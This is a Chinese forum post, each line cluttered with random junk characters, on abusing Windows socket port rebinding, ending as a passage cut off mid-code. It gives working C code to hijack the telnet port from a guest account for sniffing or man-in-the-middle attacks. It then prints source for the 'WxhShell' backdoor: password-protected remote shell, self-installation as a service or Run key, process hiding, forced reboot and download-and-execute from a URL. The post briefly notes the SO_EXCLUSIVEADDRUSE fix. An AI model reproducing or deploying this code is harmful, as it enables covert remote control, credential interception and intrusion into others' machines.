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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,|;\)tT  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;?TM_%>  
k'sPA_|  
  saddr.sin_family = AF_INET; _EP~PW#J  
T.B7QAI. H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wbk$(P'gN  
obv_?i1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (yeWArQ  
ELg$tc  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AM#s2.@  
+tG'  
  这意味着什么?意味着可以进行如下的攻击: \.GA" _y  
1=z\,~ b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 CL?=j| Ea  
&Z9rQH81f>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Po.by~|  
e? |4O< @  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ttt4h  
!9.\A:G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +1\t 0P24  
G_WHW(8   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fEt BodA)  
T{N8 K K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^gY'^2bzxu  
5`i+a H(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 EY c)v6[  
'z=d&K  
  #include Qw"%Xk  
  #include (.wR!l# !  
  #include \ NKw,`/  
  #include    =.) :tGDp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }^b  
  int main() RXu` DWN  
  { 9C!b f \  
  WORD wVersionRequested; <^942y-=  
  DWORD ret; N| P?!G-=  
  WSADATA wsaData; V?jWp$  
  BOOL val; #/_ VY.  
  SOCKADDR_IN saddr; pwB>$7(_h  
  SOCKADDR_IN scaddr; r]aI=w<(f  
  int err; WD*z..`  
  SOCKET s; WY5HmNX3E  
  SOCKET sc; 6uk}4bdvq  
  int caddsize; TQ%F\@"  
  HANDLE mt; %ZDO0P !/  
  DWORD tid;   sWKdqs  
  wVersionRequested = MAKEWORD( 2, 2 ); -[h|*G.J  
  err = WSAStartup( wVersionRequested, &wsaData ); M=4b  
  if ( err != 0 ) { TZ}y%iU:mB  
  printf("error!WSAStartup failed!\n"); m}>Q#IVZ  
  return -1; YOA)paq+  
  } ?V(+Cc  
  saddr.sin_family = AF_INET; 6!;D],,"#.  
   k\g:uIsv$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hDBo XIK  
QR<<O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9ESV[  
  saddr.sin_port = htons(23); /*GCuc|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y'#uZA3KA  
  { :oiHf:  
  printf("error!socket failed!\n"); %&s4YD/{  
  return -1; O3#eQs  
  } C<w&mFozL  
  val = TRUE; SDk^fTV8x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,e GF~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,#%I$  
  { l|;]"&|_]c  
  printf("error!setsockopt failed!\n"); %J9+`uSl  
  return -1; .S* sGauM  
  } C9,Uwz<!]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; M~+DxnJ=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ][YC.J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  NfmHa  
$s 'n]]Wq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g8" H{u  
  { n?9FJOqi  
  ret=GetLastError(); C 5e;U  
  printf("error!bind failed!\n"); 7*He 8G[W  
  return -1; =j{Kxnv  
  } 3~Ap1_9  
  listen(s,2);  }_7  
  while(1) 0\!v{A> I'  
  { QiJ  
  caddsize = sizeof(scaddr); 7" )~JBH  
  //接受连接请求 {A)9ePgv!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \BO6.;jA  
  if(sc!=INVALID_SOCKET) +AFBTJ  
  { ToD_9i }6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); NYzBfL x  
  if(mt==NULL) wyLyPJv  
  { \eRct_  
  printf("Thread Creat Failed!\n"); /Ba/gq0j  
  break; *>xCX  
  } t >.=q:  
  } 1jaK N*  
  CloseHandle(mt); cIP%t pTW.  
  } Ynp#3 r  
  closesocket(s); _1~pG)y$U  
  WSACleanup(); o%0To{MAF-  
  return 0; iO2jT+i  
  }   ~@T`0W-Py  
  DWORD WINAPI ClientThread(LPVOID lpParam) %J1oz3n  
  { Jje!*?&8X  
  SOCKET ss = (SOCKET)lpParam; x@[6u  
  SOCKET sc; k~, k@mR  
  unsigned char buf[4096]; /w2-Pgm-[\  
  SOCKADDR_IN saddr; ,lFp4 C  
  long num; 9n"MNedqH  
  DWORD val; jX^_(Kg  
  DWORD ret; imKMPO=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !fjB oK+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .1_kRy2*.  
  saddr.sin_family = AF_INET; \^jRMIM==  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wyXQP+9G  
  saddr.sin_port = htons(23); jdx T662q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~=|QPO(d  
  { p%K(dA  
  printf("error!socket failed!\n"); t6lwKK  
  return -1; x0)WrDb  
  } M5L/3qLh1  
  val = 100; cmU>A721  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K_!:oe7%  
  { }<*KM)%  
  ret = GetLastError(); tf[)| /M  
  return -1; 3Vak C  
  } Q X-n l~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ru4M=D  
  { b`F]oQ_*  
  ret = GetLastError(); pbw{EzM  
  return -1; {-%8RSK=<  
  } z%\&n0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RaP,dR+P  
  { %E"Z &_3{  
  printf("error!socket connect failed!\n"); ;k ,@^f8  
  closesocket(sc); ? PpS4Rd  
  closesocket(ss); 2gR*]?C*  
  return -1; 1+YqdDqQ  
  } P+QL||>L  
  while(1) `PSjk F(  
  { Xg* ](>/\,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aPQxpK?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qv'w 7T  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [+!&iN  
  num = recv(ss,buf,4096,0); I0!]J{  
  if(num>0) $g/h=w@  
  send(sc,buf,num,0); e+MQmW A'F  
  else if(num==0) yrd1J$  
  break; C7DwA/$D  
  num = recv(sc,buf,4096,0); <XN=v!2;  
  if(num>0) NCl@C$W9q  
  send(ss,buf,num,0); n7yp6 Db  
  else if(num==0) -:OJX#j  
  break; FZLx.3k4  
  } Yy6$q\@rV  
  closesocket(ss); ?Ygd|a5  
  closesocket(sc); M>}_2G]#F  
  return 0 ; Qkhor-f0  
  } $48 Z>ij?f  
1aCpeD4|)  
q'TIN{\.{  
========================================================== d`=LZio  
BRM!g9  
下边附上一个代码,,WXhSHELL 4u"Bll  
D2=zrU3Y64  
========================================================== -Tn%O|#K  
+T8MQ[(4  
#include "stdafx.h" O%N.;Ve  
8@RtL,[d  
#include <stdio.h> jL'`M%8O  
#include <string.h> #<EYO  
#include <windows.h> S4'<kF0z  
#include <winsock2.h> *[|+5LVn  
#include <winsvc.h> }W&9}9p"  
#include <urlmon.h> 1:>F{g  
+C[g>c}d  
#pragma comment (lib, "Ws2_32.lib") Ez-Q'v(9  
#pragma comment (lib, "urlmon.lib") w~ON861  
$2RSYI`py  
#define MAX_USER   100 // 最大客户端连接数 ?_cOU@n  
#define BUF_SOCK   200 // sock buffer -'SA &[7dP  
#define KEY_BUFF   255 // 输入 buffer 6U.|0mG[  
&/WE{W  
#define REBOOT     0   // 重启 ~E!kx  
#define SHUTDOWN   1   // 关机 L(sT/  
;{q*  
#define DEF_PORT   5000 // 监听端口 P.QF9%  
~QDM .5  
#define REG_LEN     16   // 注册表键长度 C+[)^ 2M{  
#define SVC_LEN     80   // NT服务名长度 MU(I#Prpe  
-;J6S  
// 从dll定义API wy0?*)~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #V%98|"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RS l*u[fB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M.r7^9P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kf*Dy:e  
^$sq U  
// wxhshell配置信息 .Y"F3 R  
struct WSCFG { 32j}ep.*  
  int ws_port;         // 监听端口 j@ D,2B;  
  char ws_passstr[REG_LEN]; // 口令 C4P<GtR9  
  int ws_autoins;       // 安装标记, 1=yes 0=no XM,slQ  
  char ws_regname[REG_LEN]; // 注册表键名 q b/}&J7+  
  char ws_svcname[REG_LEN]; // 服务名 aWJj@',_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p:z~>ca  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i7e6lC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [.1ME lM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qh(X7B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :GO"bsjL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LO>42o?/i  
%dv?n#Uf  
}; M +r!63T  
$(Mz@#%  
// default Wxhshell configuration 7.6L1srV  
struct WSCFG wscfg={DEF_PORT, ?Ve I lD  
    "xuhuanlingzhe", `fTM/"  
    1, Y)+q[MZ R  
    "Wxhshell", +yHz7^6-5  
    "Wxhshell", \Z&Nd;o   
            "WxhShell Service", -TH MTRFz  
    "Wrsky Windows CmdShell Service", $2?j2}M  
    "Please Input Your Password: ", fe,6YXUf  
  1, =I)43ah d  
  "http://www.wrsky.com/wxhshell.exe", kFV, Fg  
  "Wxhshell.exe" . R/y`:1:W  
    }; ;}"Eqq:  
zdd-n[%@V  
// 消息定义模块 \r[u>7I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IT&,?u%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y`Io}h G$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vIbM@Y4 '?  
char *msg_ws_ext="\n\rExit."; dK4rrO  
char *msg_ws_end="\n\rQuit."; P <+0sh  
char *msg_ws_boot="\n\rReboot..."; )AQ^PBwp  
char *msg_ws_poff="\n\rShutdown..."; 5UO+c( T  
char *msg_ws_down="\n\rSave to "; E3]WRF;l  
So'.QWzX  
char *msg_ws_err="\n\rErr!"; *{!Y_FrL  
char *msg_ws_ok="\n\rOK!"; fzQR0  
@q q"X'3t  
char ExeFile[MAX_PATH]; "cPg_-n  
int nUser = 0; z+yIP ?s}(  
HANDLE handles[MAX_USER]; C?T\5}h  
int OsIsNt; gJ'pwSA  
eY5mwJ0K  
SERVICE_STATUS       serviceStatus; %dFJ'[jDL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qop,~yK  
E<[ s+iX  
// 函数声明 }|Mwv $`  
int Install(void); f,KB BBbG  
int Uninstall(void); cN8Fn4gq  
int DownloadFile(char *sURL, SOCKET wsh); Z,A$h>Z  
int Boot(int flag); dQ.#8o=  
void HideProc(void); \`2'W1O  
int GetOsVer(void); t'l4$}(  
int Wxhshell(SOCKET wsl); =I@t%Y  
void TalkWithClient(void *cs); "4)N]Nj  
int CmdShell(SOCKET sock); "+- 'o+  
int StartFromService(void); P*O G`%y  
int StartWxhshell(LPSTR lpCmdLine); 0)332}Oh  
]A'{DKR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D3X4@sM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AcPLJ!y  
Aj4 a-vd.  
// 数据结构和表定义 kz7FQE  
SERVICE_TABLE_ENTRY DispatchTable[] = VTM* 1uXS>  
{ 0lg$zi x(  
{wscfg.ws_svcname, NTServiceMain}, H.@$#D  
{NULL, NULL} ~\jP+[>M'  
}; V0>X2&.A  
EIg~^xK  
// 自我安装 3k`Q]O=OU  
int Install(void) gHrs|6q9  
{ v$|~ g'6  
  char svExeFile[MAX_PATH]; 3SP";3+  
  HKEY key;  D}98ZKi  
  strcpy(svExeFile,ExeFile); 30! DraW8  
(WyNO QO'  
// 如果是win9x系统,修改注册表设为自启动 $Es\ld  
if(!OsIsNt) { fRQ,Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z~~6y6p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3R+% C*7  
  RegCloseKey(key); .ybmJU*Hg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w`)5(~b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mw/9DrE7/  
  RegCloseKey(key); `$B?TNuch7  
  return 0; ~oa}gJl:}-  
    } ]P0%S@]  
  } CO='[1"_5  
} g Ed A hfx  
else { e0zP LU}  
olE(#}7V  
// 如果是NT以上系统,安装为系统服务 u ]e-IYH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OlOOg  
if (schSCManager!=0) i/x |c!E  
{ x#D%3v"l_*  
  SC_HANDLE schService = CreateService p"ZvA^d\   
  ( K381B5_h  
  schSCManager, -e/}DGL  
  wscfg.ws_svcname, wUv?;Y$C  
  wscfg.ws_svcdisp, hG?y)g\A  
  SERVICE_ALL_ACCESS, | ys5.|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ga 5Q  
  SERVICE_AUTO_START, 9\_AB.Z:  
  SERVICE_ERROR_NORMAL, /?'~`4!(  
  svExeFile, ("2X8(3z  
  NULL, M:/NW-:  
  NULL, ws'e  
  NULL, .Vbd-jr'M  
  NULL, tOiz tYu  
  NULL .SD-6GVD  
  ); _O`p(6  
  if (schService!=0) h0tiWHw  
  { R^l0Bu]X  
  CloseServiceHandle(schService);  '"B  
  CloseServiceHandle(schSCManager); Kjd3!%4mB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qr$'Q7  
  strcat(svExeFile,wscfg.ws_svcname); e*7O!Z=O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .<%tu 0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >G6kF!V  
  RegCloseKey(key); >1j#XA8  
  return 0; q]? qeF[  
    } 9zwD%3Ufn  
  } 4X+xh|R:U  
  CloseServiceHandle(schSCManager); kpgA2u7  
} n/_q  
} .G{cx=;  
3K &637  
return 1; ?+t;\  
} ys9:";X;}  
FS1\`#Bm)  
// 自我卸载 |>;PV4])(  
int Uninstall(void) U>2KjZB  
{ 9 C[~*,qx  
  HKEY key; GW,EyOE+~  
NUV">i.(  
if(!OsIsNt) { {rc3`<%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *D? =Ts  
  RegDeleteValue(key,wscfg.ws_regname); .4zzPD$1  
  RegCloseKey(key); jJ#D`iog5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g0B] ;Y>(  
  RegDeleteValue(key,wscfg.ws_regname); d&+]@ Ii  
  RegCloseKey(key); z% 8`F%2  
  return 0; t1w5U+z  
  } ^ Ps!  
} FK^xZ?G  
} ``l*;}  
else { ?b]zsku8  
 LCor T-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <_Yd N)x  
if (schSCManager!=0) u7< +)6-  
{ D$}hoM1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gi!_Nz  
  if (schService!=0) m _)-  
  { c]4X`3]  
  if(DeleteService(schService)!=0) { #X-C~*|>j  
  CloseServiceHandle(schService); dc)%5fV\  
  CloseServiceHandle(schSCManager); 7{ m>W!  
  return 0; ^*ZaqMA  
  } :uCwWv   
  CloseServiceHandle(schService); "\o#YC  
  } w6vbYPCN  
  CloseServiceHandle(schSCManager); KuJ)alD;1  
} L$PbC!1  
} Nf] ?hfJ  
;fNCbyg4 I  
return 1; 5 A0]+)5E8  
} j\ y!  
t% qep|  
// 从指定url下载文件  =yod  
int DownloadFile(char *sURL, SOCKET wsh) ^Q8yb*MN  
{ s5*4<VxQN.  
  HRESULT hr; `%Ih'(ne  
char seps[]= "/"; VIAq$iu7  
char *token; EH844k8 p  
char *file; mjD^iu8?  
char myURL[MAX_PATH]; _&-d0'+  
char myFILE[MAX_PATH]; r&LZH.$oh  
v'hc-Q9+>  
strcpy(myURL,sURL); 0D,@^vw bK  
  token=strtok(myURL,seps); v`|]57?A  
  while(token!=NULL) h@ lz  
  { |m's)  
    file=token; OJe!K:  
  token=strtok(NULL,seps); ]9YA~n\  
  } u> {aF{  
:E")Zw&sW3  
GetCurrentDirectory(MAX_PATH,myFILE); vkG#G]Qs";  
strcat(myFILE, "\\"); E)*ht;u  
strcat(myFILE, file); &wQ;J)13  
  send(wsh,myFILE,strlen(myFILE),0); edL2ax  
send(wsh,"...",3,0); Ze0qRLuH!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PNm@mC_fh  
  if(hr==S_OK) |+Wn5iT  
return 0; [c B^6v  
else H'WYnhU&  
return 1; (_pw\zk>  
l#[Z$+!09  
} (HRj0,/^  
beO Mln+R  
// 系统电源模块 &PC6C<<f  
int Boot(int flag) }d%CZnY&7  
{ V lx.C~WYn  
  HANDLE hToken; }TTghE!  
  TOKEN_PRIVILEGES tkp; "l&SRX?g  
`rn/H;r!Z  
  if(OsIsNt) { T~3{$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zmhc\M ?z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &{j!!LL  
    tkp.PrivilegeCount = 1; ?M:>2wl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i]MemM-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9^/Y7Wp/@  
if(flag==REBOOT) { `KZV@t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N:lE{IvRJ  
  return 0; ,V1"Typ#<  
} _<Ak M"  
else { b+~_/;Y9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z^'~iU-?  
  return 0; T";evM66  
} KS*,'hvY  
  } yEWm.;&3=  
  else { }#7l-@{<  
if(flag==REBOOT) { ^SpQtW118  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1]/;qNEv  
  return 0; iZNS? ^U  
} Mxl;Im]!`.  
else { ]T)N{"&N/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HO<|EH~lu  
  return 0; 1'f_C<.0  
} |:C0_`M9  
} s)WA9PiC  
|3~m8v2-  
return 1; RG'iWA,9m`  
} &5y  
^}P94(oz  
// win9x进程隐藏模块 (7qlp*8.s  
void HideProc(void) nXn@|J&z~U  
{ $.D )Llcq  
qWH^/o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i(% 2t(wf+  
  if ( hKernel != NULL ) 1 *' /B  
  { g|Lbe4?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bll[E}E|3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *)RKU),3nL  
    FreeLibrary(hKernel); >N#Nz 0|(  
  } {@2+oOuYfN  
#e@NV4q  
return; S TWH2_`  
} K/zb6=->  
zr!7*, p  
// 获取操作系统版本 G_1r&[N3  
int GetOsVer(void) {^1O  
{ bse`Xfg  
  OSVERSIONINFO winfo; [;wJM|Z J0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kTH"" h{  
  GetVersionEx(&winfo); b>ZAkz)U+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V.{HMeE4  
  return 1; w1I07 (  
  else =0?5hxMd  
  return 0; lo!pslqsn  
} [yMSCCswW  
KKsVZ~<6u  
// 客户端句柄模块 ^N^G?{EV/#  
int Wxhshell(SOCKET wsl) sUlf4<_zW  
{ (m'-1wX.  
  SOCKET wsh; #HV5M1mb  
  struct sockaddr_in client; H5 z1_O_+  
  DWORD myID; X{x(p  
;h1hz^Wq  
  while(nUser<MAX_USER) Tz)Ku  
{ |m KohV qr  
  int nSize=sizeof(client); :,l16{^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VEy]vr}  
  if(wsh==INVALID_SOCKET) return 1; =6U5^+|d  
x1Gx9z9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2OUx@Vj  
if(handles[nUser]==0) !-)!UQ~|8  
  closesocket(wsh); lW5Lwyt8  
else {> ,M  
  nUser++; )jXKPLj  
  } :h(RS ;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i[[.1MnS  
Ja~8ZrcY  
  return 0; ; =n}61  
} ho$}#o  
qh.F}9o  
// 关闭 socket 'o)Y!VYnJF  
void CloseIt(SOCKET wsh) 1?BLL;[a8  
{ IoL P*D  
closesocket(wsh); *f 7rLM*  
nUser--; 5Xr})%L  
ExitThread(0); .#~!w!T  
} 8XYxyOl  
"*HM8\  
// 客户端请求句柄 693"Pg8b  
void TalkWithClient(void *cs) 2->Lz  
{ SZTn=\  
 p0W<K  
  SOCKET wsh=(SOCKET)cs; v' t'{g%  
  char pwd[SVC_LEN]; S(CkA\[rz  
  char cmd[KEY_BUFF]; SZXSVz0j  
char chr[1]; 6:wk=#w  
int i,j; rmggP(  
2pmj*Y3"8  
  while (nUser < MAX_USER) { K&&T:'=/  
3ibQbk  
if(wscfg.ws_passstr) { 7>z {2D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WyOav6/*K^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vLxaZWr  
  //ZeroMemory(pwd,KEY_BUFF); +F q_w  
      i=0; rrz([2E2  
  while(i<SVC_LEN) { \)5mO 8w  
<pV8 +V)  
  // 设置超时 oUn+tu:  
  fd_set FdRead; $(gL#"T  
  struct timeval TimeOut; 7zx xO|p[  
  FD_ZERO(&FdRead); d`TiY`!  
  FD_SET(wsh,&FdRead); /:]<z6R  
  TimeOut.tv_sec=8; U\Y0v.11  
  TimeOut.tv_usec=0; L+G0/G}O\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  OLIMgc(W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 842v^ 2  
QDW,e]A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TgjjwcO Y  
  pwd=chr[0]; Q3%]  
  if(chr[0]==0xd || chr[0]==0xa) { k={1zl ;  
  pwd=0; QuEX|h,F  
  break; C9?mxa*z  
  } EVLL,x.~:z  
  i++; w0;4O)H$O  
    } 7[P-;8)tq  
x2t&Wpvt  
  // 如果是非法用户,关闭 socket S`YT"|~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xg]Cq"RJC  
} zWU]4;,"  
q#AIN`H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9]Ue%%vM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h STcL:b   
_cJ)v/]  
while(1) { N$Ad9W?T  
5.ab/uk;M  
  ZeroMemory(cmd,KEY_BUFF); @:RoYvk$  
Dqo#+_v  
      // 自动支持客户端 telnet标准   X+sKG5nS  
  j=0; m5 sW68  
  while(j<KEY_BUFF) {  ?;v\wx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C_>XtcU  
  cmd[j]=chr[0]; oh:9v+  
  if(chr[0]==0xa || chr[0]==0xd) { %\,9S`0  
  cmd[j]=0; _BA; H+M  
  break; LI@BB:)[  
  } ?7V~>i8[  
  j++; 9#7W+9  
    } ~}j+~  
)EB+(c~E  
  // 下载文件 vu@.;-2E%  
  if(strstr(cmd,"http://")) { O$r/ {{I.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pb;c:HeI/  
  if(DownloadFile(cmd,wsh)) 7'e sJ)2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E,tdn#_|  
  else OnE%D|Tq=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , d $"`W2  
  } $.C-_L  
  else { >U`G3(#7S  
>v, si].  
    switch(cmd[0]) { pl3ap(/  
  Lu6g`O:['  
  // 帮助 ?e6>dNw  
  case '?': { O6/ vFEB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q\?p' i  
    break; ~IW{^u  
  } p%meuWV%5  
  // 安装 "G%</G8M  
  case 'i': { w>9d^kU'  
    if(Install())  '4{=x]K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aOd#f:{y  
    else <-?C\c~G@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iii|;v ]+  
    break; Z5(9=8hB/  
    } X-nC2[tu'W  
  // 卸载 ws9IO ?|&G  
  case 'r': { X uE: dL?  
    if(Uninstall()) 1|4,jm$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3%5YUG@  
    else (eU4{X7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xE@/8h  
    break; P #! N  
    } gZ^Qt.6Z  
  // 显示 wxhshell 所在路径 QPB,B>Z  
  case 'p': { ;$&\ :-6A#  
    char svExeFile[MAX_PATH]; XEA5A.uc  
    strcpy(svExeFile,"\n\r"); cQhr{W,Un  
      strcat(svExeFile,ExeFile); v]{UH {6  
        send(wsh,svExeFile,strlen(svExeFile),0); =MQ/z#:-P  
    break; YhV<.2^k  
    } "g5{NjimY  
  // 重启 F<b'{qf"  
  case 'b': { ':;k<(<-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tgG*k$8z  
    if(Boot(REBOOT)) m=l'9j"D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YyxU/UnhG  
    else { K [DpH&  
    closesocket(wsh); t?G6|3  
    ExitThread(0); 2lsUCQI;  
    } $4xSI"+M%  
    break; WqF,\y%W*  
    } {,sqUq (  
  // 关机 AcuF0KWw/  
  case 'd': { tjFX(;^[  
